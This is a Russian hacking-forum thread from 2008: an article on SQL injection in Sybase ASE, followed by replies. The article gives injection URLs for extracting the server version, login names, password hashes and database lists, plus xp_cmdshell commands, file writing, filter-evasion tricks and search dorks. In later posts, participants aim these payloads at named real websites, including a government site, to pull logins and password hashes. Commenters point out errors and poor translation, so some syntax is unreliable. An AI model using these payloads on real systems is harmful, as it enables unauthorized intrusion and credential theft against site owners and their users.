ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Проведение SQL инъекций в Sybase ASE
  #1  
Старый 25.07.2008, 23:43
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию Проведение SQL инъекций в Sybase ASE

Проведение SQL инъекций в Sybase ASE


Автор: ~!Dok_tOR!~
Дата: 25.07.2008

Special for antichat.ru


[Intro]

В данной статье будет рассмотрено проведения SQL инъекций в Sybase. Я думаю многим будет интересно почитать об этой СУБД так как взламывать MySQL уже научился каждый 3-ий а когда появляется что-то нестандартное, непонятное возникают проблемы, я не исключаю того что ты мог вообще никогда не слышать о СУБД Sybase. Заглянем в историю ...

[History]

Sybase Inc. — пионер среди компаний, специализирующихся на разработке реляционных баз данных, а также других продуктов, связанных со сбором, обработкой и хранением данных. Кроме названия компании, слово «Sybase» также часто используется как наименования наиболее широко известного ее продукта — системы управления базами данных Adaptive Server Enterprise.
Архитекторами Sybase были доктор Роберт Эпштейн (Dr. Robert Epstein) и Том Хаггин (Tom Haggin), — оба они работали на Бритон-Ли и Университет Калифорния, Беркли, — в департаменте вычислительной техники. В Беркли впервые была разработана реляционная СУБД «University Ingres», которая стала эталоном таких СУБД как Ingres (Computer Associates), Informix (IBM) и NonStop SQL (Tandem), а также для большинства сегодняшних SQL-систем.Sybase оказалась на втором месте среди используемых в мире баз данных, сразу за Oracle, после подписания договора о предоставлении исходного кода базы в Microsoft для выведения на рынок продукта на базе платформы OS/2 под названием «SQL Server». В это же время Sybase стала называть свою СУБД «Sybase SQL Server». Вплоть до версии 4.9, Sybase SQL Server и Microsoft SQL Server были практически идентичными. Однако в связи с возникшими разногласиями между компаниями, связанными с вопросами разделения доходов, Sybase и Microsoft приняли решение прекратить совместное развитие продукта несмотря на очевидное наличие общего наследия в виде процедурного языка Transact-SQL (T-SQL) и одинаковой архитектуры. Существенное отличие заключается в том, что Sybase была основана на базе UNIX-архитектуры, в то время как Microsoft практически сразу ушел с UNIX и целиком сконцентрировался на платформе Windows NT. В настоящее время, Sybase продолжает поддерживать и развивать версии для семейства Windows, и различных UNIX-платформ (IBM AIX, HP-UX, Sun Solaris, GNU/Linux и другие).


Офф.сайт www.sybase.com

[Error Messages]

Уявимый параметр search, подставляем ковычку:

Код:
http://site.com/index.php?search='
Код:
Warning: sybase_query():
Warning: sybase_num_rows():
Код:
com.sybase.jdbc2.jdbc.SybSQLException: Unclosed quote before the 
character string '''. com.sybase.jdbc2.jdbc.SybSQLException: Incorrect syntax near '''.
ещё ошибка может быть вот такой

Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
conversion of VARCHAR value ''' to a INT field.
Error Message Sybase

[SQL Injection]

Обрезать запрос можно использовав комментарий: /**/ , --

SQL comments

Подбор стоолбцов:
Код:
http://site.com/index.php?search=-1+union+select+null--
Узнаём версию Sybase:
Код:
http://site.com/index.php?search=-1+union+select+@@version--
или

Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+@@version))--
и видим ответ сервера

Код:
Adaptive Server Enterprise/12.5.2/EBF 11948 ESD#1/P/NT (IX86)/OS 
4.0/ase1252/1838/32-bit/OPT/Sat May 29 03:34:29 2004
12.5.2 - это номер версии Sybase;
EBF 11948 - число "непредвиденного исправления(bug fix)";
ESD#1 - число "Электронной Программной Поставки", которое является корректором;


Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку:

Код:
convert(integer,(select 'z' + str(@@version_as_integer)))
В итоге

Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+'z'%2bstr(@@version_as_integer)))--
возвращает результат

Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
conversion of VARCHAR value 'z 12500' to a INT field.
12.5.0 - версия Sybase

В общих чертах, для того чтобы получать переменную произвольного типа данных, использовавших сообщение конверсионной ошибки целого, пропишите переменную в строку сначала, затем выполните преобразование целого.

допустим уязвимый код такой:

Код:
String search = request.getParameter("search");
ResultSet rs = stmt.executeQuery("select * from pubs2..titles where UPPER(title) like UPPER('%" + search + "%')");
Выводим имена всех пользователей:
Код:
http://site.com/index.php?search=-1+union+select+name+from+syslogins--
или

Код:
http://site.com/index.php?search=-1+union+select+name+from+master..syslogins--
Выводим хеши паролей юзеров:
Код:
http://site.com/index.php?search=-1+union+select+password+from+syslogins--
Cписок баз данных на сервере:
Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>''))--
получаем ошибку вида

Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
conversion of VARCHAR value 'master' to a INT field.
в ошибке присутствует слово master - это и есть первая колонка. Для того, чтобы получить следующию, мы модифицируем запрос, так чтобы выбиря наименьшию величину, что больше, чем master, таким образом:

Код:
http://site.com/index.php?search=')+and+1=convert(integer,(select+min(name)+from+sysdatabases+where+name>'master'))--
получили

Код:
com.sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit 
conversion of VARCHAR value 'blabla' to a INT field.
Таким образом мы повторяем полностью все колонки пока наше утверждение выбора не возвращает никакие дальнейшие данные.

Используем запрос Transact-SQL's, группирующий характеристику:
Код:
http://site.com/index.php?search=')+create+table+foo(a+integer)--
серьезная проблема безопасности, для неё характерны несколько причин:

1. Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения Данных Языковых утверждений (DDL).
2. Хакер использует pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение удостоверяет как "sa" , так что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом пользователя.

Код:
search = search.replaceAll( "'", "''");
после вызова на getParameter, единственные кавычки "удваиваются". Конечно, это не будет работать для числовых данных поскольку числа не ограничены в выполнении SQL. Если наш поиск был для pub_id, хакер мог бы просто послать SQL запрос непосредственно после числа, не требуя единственные кавычки.

[Запись в файл]

Код:
create table myfile (record varchar(2000)) external
file at "C:\temp\file.txt" insert into myfile
values(0xYOU_BINARY_DATA)"
[xp_cmdshell]

Только администраторы могут выполнить xp_cmdshell, по умолчанию.

Запись в файл через xp_cmdshell:

Код:
declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt'
exec xp_cmdshell @cmd
Так как Sybase и MSSQL - довольно схожие системы, то и синтаксис команд во многом схож:

Код:
xp_cmdshell 'command'
Например:

Код:
xp_cmdshell 'net users'
выведет учетные записи пользователей системы.

[xp_regread]

Sybase не имеет эквивалент xp_regread, так что любые хитрости (как например, чтение SAM файла под Windows) не будет работать в Sybase.

В MSSQL, функция exec позволяет нам, выполнять динамический запрос. Например:


Код:
exec('select @@version')
Если запрос не сработает то попробуйте обойти вот так:

Код:
exec('sel'+'ect @'+'@ver'+'sion')
Ёще как вариат закодировать целую строку в литерале:

Код:
declare @s varchar(2000)
set @s=0x73656C65637420404076657273696F6E
exec(@s)
В общих чертах, фильтрация ввода пользователя в SQL исключительно плохой путь адресовать инъекцию SQL. В некоторых случаях, удаляют ключевые слова так называемые "плохие слова", это может легко обойти использовать подобно этому:

Код:
selselectect @@ver@@versionsion
Это обычно срабатывает, если фильтр не установлен никакая подстановка не может быть сделана.

Dorks:

Warning: sybase_query()
Warning: sybase_num_rows()
Warning: sybase_fetch_array():
Warning: sybase_query(): Sybase: Server message:

Ссылки:

Официальный сайт
Cайт российского представительства
Портал разработчиков под Sybase
Русскоязычные форумы по продуктам Sybase

Последний раз редактировалось ~!DoK_tOR!~; 10.08.2008 в 20:20..
 
Ответить с цитированием

  #2  
Старый 25.07.2008, 23:58
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию

>> Статья доказывает тот факт что, нет неуязвимых СУБД, каждая СУБД имеет те или иные баги
В статье были рассмотрены аспекты незащищённости Sybase aka (ASE).

Вроде как были описаны уязвимости используемые при уязвимом коде, каким местом к этому относятся уязвимости субд?

PS фака по этой субд на ачате нету, так что +
__________________
..
 
Ответить с цитированием

  #3  
Старый 26.07.2008, 13:42
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от ~!DoK_tOR!~  
Обрезать запрос можно использовав комментарий: -- или /*
T-SQL помоему не поддерживает /*
Цитата:
Сообщение от ~!DoK_tOR!~  
Узнаём версию Sybase:
http://site.com/index.php?search=-1+union+select+@@version()--
Разве это будет работать? Дело даже не в опечатке "@@version()"
Цитата:
Сообщение от ~!DoK_tOR!~  
Для того, чтобы получить целое через ошибку рассмотренную выше, мы просто преобразовываем целое в строку:
convert(integer,(select 'z' + str(@@version_as_integer)))
Это если честно не понял , поясни, если не трудно.
Цитата:
Сообщение от ~!DoK_tOR!~  
Выводим имена всех пользователей:
http://site.com/index.php?search=-1+union+select+name+from+syslogins--
Опять-же , это разве работает? master..syslogins, ещё туда-сюда, но помоему конструкция запроса не верна
Цитата:
Сообщение от ~!DoK_tOR!~  
Cписок баз данных на сервере:
http://site.com/index.php?search=')+and+1=convert(integer,(select+ min(name)+from+sysdatabases+where+name>''))--
Не понял откуда ты выводишь список баз?
"sysdatabases"- Это системная таблица какая-то?
Поясни пожалуйста
Цитата:
Сообщение от ~!DoK_tOR!~  
Используем запрос Transact-SQL's, группирующий характеристику:
http://site.com/index.php?search=')+create+table+foo(a+integer)--
серьезная проблема безопасности, для неё характерны несколько причин:
1. Хакер может послать запрос, включая Обработку Данных Языковых утверждений (DML) и Определения Данных Языковых утверждений (DDL).
2. Хакер использует pre-authenticated подлинный канал, который предусмотрен приложением. В примере выше, приложение удостоверяет как "sa" , так что хакер может легко управлять сервером, выполняющим Sybase but нормально счет должен быть более низким-привилегированным счетом пользователя.
search = search.replaceAll( "'", "''");
после вызова на getParameter, единственные кавычки "удваиваются". Конечно, это не будет работать для числовых данных поскольку числа не ограничены в выполнении SQL. Если наш поиск был для pub_id, хакер мог бы просто послать SQL запрос непосредственно после числа, не требуя единственные кавычки.
Этот абзац не понял целиком, похоже на хреновый перевод, если можно объясни , что сдесь написано

Всё что ниже понятно, и взято отсюда :
http://www.xakep.ru/magazine/xa/105/082/1.asp

PS Я не придираюсь , просто тема очень интересна самому, возможно я что-то не понял просто, если можешь поясни плз.

Последний раз редактировалось jokester; 26.07.2008 в 14:28..
 
Ответить с цитированием

  #4  
Старый 26.07.2008, 18:18
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

Цитата:
Сообщение от jokester  
T-SQL помоему не поддерживает /*
поддерживает.

Цитата:
Сообщение от jokester  
Разве это будет работать? Дело даже не в опечатке "@@version()"
а ты как думаешь ? конечно будет . исправил

Цитата:
Сообщение от jokester  
Это если честно не понял , поясни, если не трудно.
если версия
Код:
union+select+@@version
так не узнаётся или появляется ошибка

то преобразуем это в всё в конверсию целого aka convert ()

Код:
convert(integer,(select+@@version))--
Цитата:
Сообщение от jokester  
Опять-же , это разве работает? master..syslogins, ещё туда-сюда, но помоему конструкция запроса не верна
пониаешь имена пользователей могу хранится в табличке syslogins так и в master..syslogins.

Цитата:
Сообщение от jokester  
Не понял откуда ты выводишь список баз? "sysdatabases"- Это системная таблица какая-то?
список баз выводится из таблички sysdatabases или master..sysdatabases если тебе так не понятно то вот так

Код:
http://site.com/index.php?search=-1+union+select+name+from+sysdatabases--
или

Код:
http://site.com/index.php?search=-1+union+select+name+from+master..sysdatabases--
 
Ответить с цитированием

  #5  
Старый 26.07.2008, 20:52
Аватар для }{0TT@БЬ)Ч
}{0TT@БЬ)Ч
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме:
3536885

Репутация: 447
По умолчанию

Цитата:
Сообщение от .Slip  
>> Статья доказывает тот факт что, нет неуязвимых СУБД, каждая СУБД имеет те или иные баги
В статье были рассмотрены аспекты незащищённости Sybase aka (ASE).

Вроде как были описаны уязвимости используемые при уязвимом коде, каким местом к этому относятся уязвимости субд?

PS фака по этой субд на ачате нету, так что +
.Slip
это наводит на не очень хорошие мысли,ТС не совсем понял уязвимость sql inj.
 
Ответить с цитированием

  #6  
Старый 10.08.2008, 00:50
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

Рассмотрим на конкретном примере

Запрос
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(integer,(select+@@ version))--

Код:
Adaptive Server Enterprise/12.5.3/EBF 13332 ESD#7/P/Linux Intel/Enterprise
Linux/ase1253/1951/32-bit/OPT/Fri Mar 24 00:40:52 2006
если выше метод не действует то:

http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(integer,(select+'z '%2bstr(@@version_as_integer)))--

Код:
Warning: sybase_query() [function.sybase-query]: Sybase: Server message: Syntax error during explicit conversion of VARCHAR value 'z 12500' to a INT field. (severity 16, procedure N/A) in /var/home/pda1.vmdaily.ru/classes/db.clss on line 21
12.5.0 - версия Sybase

http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(integer,(select+@@vers ion))--

Код:
Adaptive Server Enterprise/12.5.3/EBF 12593 ESD#3/P/Sun_svr4/OS 5.8/
ase1253/1911/64-bit/FBO/Fri Jul 8 13:31:40 2005
 
Ответить с цитированием

  #7  
Старый 10.08.2008, 18:19
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от ~!DoK_tOR!~  
Рассмотрим на конкретном примере
Конструктивная критика

Вывод версии, это конечно круто, но и он идёт в твоём примере через and
А ты в начале статьи писал о работе с оператором Union
Я бы хотел что-бы ты показал пример работы с ним

Дело в том, что в Sybase как и в MSSQL достаточно бредовая затея работать с оператором UNION(ИМХО)
И если ты его описываешь, то покажи пример рабочего запроса,что-бы люди видели как это

Вот нормальная работа с базой Sybase: Описана Scipio сдесь:
http://forum.antichat.ru/showpost.php?p=626114&postcount=5170

В примере приведённом тобой это выглядит так:
Юзер:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(user_name ()))--
webuser

http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))--
wwwstat
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174,0x7765626462)))
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))
wwwstat
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174)))
webdb
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins+where+dbname+not+ in+(0x77777773746174,0x7765626462)))
vm
и т.д.
Вывод идёт из master..syslogins, ты пишешь
Цитата:
Сообщение от ~!DoK_tOR!~  
пониаешь имена пользователей могу хранится в табличке syslogins так и в master..syslogins
пробуем:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+syslogins))
Ошибка
Опять-же, либо объясни, либо исправь

Далее, комментарий /*
Цитата:
Сообщение от ~!DoK_tOR!~  
Цитата:
Сообщение от jokester  
T-SQL помоему не поддерживает /*
поддерживает.
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))/*
Ошибка, почему??

Ну и повторюсь, покажи работу union

Последний раз редактировалось jokester; 07.10.2008 в 12:14..
 
Ответить с цитированием

  #8  
Старый 10.08.2008, 19:08
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

Цитата:
Сообщение от jokester  
А ты в начале статьи писал о работе с оператором Union
и рядом о работе с подзапросами ) с подзапросами работать легче )

Цитата:
Сообщение от ~!DoK_tOR!~
пониаешь имена пользователей могу хранится в табличке syslogins так и в master..syslogins
Цитата:
пробуем:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+syslogins))
Ошибка
Опять-же, либо объясни, либо исправь
по дефлойту используется табличка master..syslogins а syslogins очень редко в стречается ) Я имею ввиду что если master..syslogins not found то используется табличка syslogins )

Цитата:
http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))/*
Ошибка, почему??
исправил используется комментарий /**/

http://pda.vmdaily.ru/article.php?aid=1+and+1=convert(numeric,(select+ma x(dbname)+from+master..syslogins))/**/

Пользователи:

http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(na me)+from+master..syslogins))--

Пароли:
http://futbolsoccer.aol.com.mx/mexico/apertura2005/home/index.php?t=1+and+1=convert(numeric,(select+max(pa ssword)+from+master..syslogins))--

http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeri c,(select+max(password)+from+master..syslogins))/**/

http://www.shmsa.gov.cn:8088/ggl.detail.php?ChannelID=754&ggl_id=convert(numeri c,(select+max(name)+from+master..syslogins))/**/

Последний раз редактировалось ~!DoK_tOR!~; 10.08.2008 в 20:09..
 
Ответить с цитированием

  #9  
Старый 10.08.2008, 19:31
Аватар для Jokester
Jokester
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293

Репутация: 4915


По умолчанию

Цитата:
Сообщение от ~!DoK_tOR!~  
и рядом о работе с подзапросами ) с подзапросами работать легче )
and это не подзапрос, просто логическое условие
Примеров работы с подзапросами в твоём описании нет

Будешь показывать подзапросы?

ЗЫ Описание Scipio гораздо понятнее и удобнее, хорошо бы его воткнуть сюда вместо моих примеров, что-бы всё было в одном месте, но это конечно ему самому решать
 
Ответить с цитированием

  #10  
Старый 07.10.2008, 08:56
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию

Цитата:
declare @cmd varchar(255) select @cmd='echo blablabla >> C:\file.txt'
exec xp_cmdshell @cmd
Как ты это конкретно в иньекции применить собираешься?


Цитата:
exec('sel'+'ect @'+'@ver'+'sion')
Запустика конслольку ASE и введи 'sel'+'ect @'+'@ver'+'sion'
А зачем тут скобки?

Цитата:
пониаешь имена пользователей могу хранится в табличке syslogins так и в master..syslogins.
Превиду пример с mysql
выводим database() (db_name() ase) текущая база 'demo'
"имена пользователей могу хранится в табличке user так и в mysql.user"

master это системная таблица (аналогично mysql.user) и syslogins храниться только там.
запрос select syslogins прокатит только тогда когда это твоя текущая база,
что при иньекции не возможно.

p.s.
Создаеться впечатление что автор не понимает о чем он пишет.

Про ASA и IQ даже не упоминалось.

имхо TSQL и есть TSQL

Последний раз редактировалось [ cash ]; 07.10.2008 в 09:00..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть первая k00p3r Чужие Статьи 1 12.07.2005 08:51
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ